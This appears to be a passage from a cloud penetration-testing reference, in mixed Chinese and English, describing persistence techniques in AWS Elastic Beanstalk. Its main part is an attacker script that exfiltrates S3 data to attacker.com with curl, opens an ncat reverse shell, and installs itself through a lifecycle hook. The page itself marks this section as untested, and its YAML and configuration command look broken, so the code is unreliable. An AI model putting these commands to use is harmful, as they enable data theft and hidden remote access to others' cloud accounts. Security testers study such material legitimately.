AWS - Elastic Beanstalk Persistence

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Elastic Beanstalk

更多信息请参见：

AWS - Elastic Beanstalk Enum

实例内持久化

为了在 AWS 账户内维持持久性，可以在实例内引入一些 持久化机制（cron job, ssh key…），这样攻击者将能够访问实例并从 metadata service 窃取 IAM role credentials。

版本中的 backdoor

攻击者可以在 S3 repo 中对代码植入 backdoor，使其在执行预期代码的同时始终执行其 backdoor。

新的 backdoored 版本

攻击者可以不更改当前版本的代码，而部署一个新的 backdoored 应用版本。

滥用 Custom Resource Lifecycle Hooks

Note

TODO: Test

Elastic Beanstalk 提供 lifecycle hooks，允许在实例配置与终止期间运行自定义脚本。攻击者可以配置一个 lifecycle hook，定期执行脚本以 exfiltrates data 或维持对 AWS account 的访问。

# Attacker creates a script that exfiltrates data and maintains access
echo '#!/bin/bash
aws s3 cp s3://sensitive-data-bucket/data.csv /tmp/data.csv
gzip /tmp/data.csv
curl -X POST --data-binary "@/tmp/data.csv.gz" https://attacker.com/exfil
ncat -e /bin/bash --ssl attacker-ip 12345' > stealthy_lifecycle_hook.sh

# Attacker uploads the script to an S3 bucket
aws s3 cp stealthy_lifecycle_hook.sh s3://attacker-bucket/stealthy_lifecycle_hook.sh

# Attacker modifies the Elastic Beanstalk environment configuration to include the custom lifecycle hook
echo 'Resources:
AWSEBAutoScalingGroup:
Metadata:
AWS::ElasticBeanstalk::Ext:
TriggerConfiguration:
triggers:
- name: stealthy-lifecycle-hook
events:
- "autoscaling:EC2_INSTANCE_LAUNCH"
- "autoscaling:EC2_INSTANCE_TERMINATE"
target:
ref: "AWS::ElasticBeanstalk::Environment"
arn:
Fn::GetAtt:
- "AWS::ElasticBeanstalk::Environment"
- "Arn"
stealthyLifecycleHook:
Type: AWS::AutoScaling::LifecycleHook
Properties:
AutoScalingGroupName:
Ref: AWSEBAutoScalingGroup
LifecycleTransition: autoscaling:EC2_INSTANCE_LAUNCHING
NotificationTargetARN:
Ref: stealthy-lifecycle-hook
RoleARN:
Fn::GetAtt:
- AWSEBAutoScalingGroup
- Arn' > stealthy_lifecycle_hook.yaml

# Attacker applies the new environment configuration
aws elasticbeanstalk update-environment --environment-name my-env --option-settings Namespace="aws:elasticbeanstalk:customoption",OptionName="CustomConfigurationTemplate",Value="stealthy_lifecycle_hook.yaml"

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